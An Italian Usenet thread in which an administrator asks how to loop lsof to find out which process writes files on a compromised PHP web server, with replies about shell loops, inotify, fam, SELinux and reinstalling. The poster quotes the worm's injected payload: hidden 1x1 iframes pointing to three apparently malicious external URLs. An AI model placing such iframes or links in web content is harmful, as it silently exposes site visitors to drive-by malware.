Newsgroup: it.comp.os.linux.software
Titolo: lsof

una domanda forse per molti banale, ho dato un occhio al man senza trovare 
nulla.
come posso mettere lsof in "loop" ?


while true;do lsof;done

 while true;do lsof;done
ANIMALE!!!
while sleep 5; do lsof; done
-- 
Flavio Visentin
Membro del CICAP
Comitato Italiano per il Controllo delle Affermazioni di P4


Grazie ragazzi metto subito in atto il mio piano per uccidere il worm che mi 
infesta il server !!:D 

>
è corretto fare cosi :
while sleep 5; do lsof | grep _header; done ? 

 while sleep 5; do lsof; done
E allora,se vogliamo fare gli elegantoni:
while true;do lsof && sleep 5;done
Ma direi che a grep dello sleep di 5 secondi poco glie ne cale...


in effetti come scritto da me non funziona.
come posso monitorare l'apertura solo di determinati file ? 

 come posso monitorare l'apertura solo di determinati file ? 
Per fare che?
Lo strumento corretto sarebbe usare inotify; la soluzione più semplice è
usare fam.


 usare fam.
dovrei monitorare quale applicazione mi modifica un file.

 dovrei monitorare quale applicazione mi modifica un file.
Selinux te lo consente, ma non so se può valerne la pena data la
complessità.
AFAIK fam non lo consente perché ti indica quando il contenuto delle
directory monitorate è cambiato, ma non mi sembra che dica anche chi ha
modificato la dir (potrei però sbagliarmi).



la soluzione lsof anche può andare bene in quanto mi basta sapere anche solo 
sapere l'applicazione
che ha tentato di accedere al file che sto monitorando.
con lsof | grep nomefile mi funzionava bene , ma devo mettere se lo metto in 
loop con il while come
descritto sopra non mi restituisce nessun output.

 descritto sopra non mi restituisce nessun output.
Probabilmente perché il file resta aperto per un tempo inferiore al
ciclo dell'lsof.


 wrote in message 
news:437c7b01$1...@news.telnetwork.it...

Non esiste una soluzione sicura nemmeno nel caso di creazione di un nuovo 
file ?
ovvero mi basterebbe monitorare anche la creazione di un file in una 
determinata
cartella che gia conosco.
sono in lotta contro un worm che agisce in 2 cartelle specifiche 
/home/script e /home/sites
creando un file (sotto /home/script/) che a sua volta fa includere tramite 
php in tutti i file php.
in questo file sono contenuto degli iframe che linkano a siti del genere:
iframe src=\"
http://www.onedayoffer.biz/id0299/wow.html\
" width=1 height=1>
<iframe src=\"
http://iframetraff.biz/dl/adv443.php\
" width=1 height=1>
<iframe 
src=\"
http://www.wakayama-info.net/board/includes/top/9094/index.html\
" 
width=1 height=1>
putroppo sul server sono ospitati vari servizi che non posso per adesso 
assolutamente interrompere.
quindi cercavo una soluzione per monitorare i cambiamenti in queste 
directory sopratutto nella cartella
/home/script/
dove viene creato ogni giorno un file nuovo che lui va ad includere nei file 
php sotto /home/sites/
ieri era : _header_arch.php oggi foot.php.
ho provato di tutto clam , rkhunter.
sto un pò alla volta rimpiazzando tutti i pacchetti rpm che mi sembrano 
sospetti ma fino ad adesso nulla.

 sospetti ma fino ad adesso nulla.
Prepara una seconda macchina su cui reinstallare tutto da zero e
sostituiscila a quella vecchia, magari cambiando distribuzione e
applicazioni bacate.
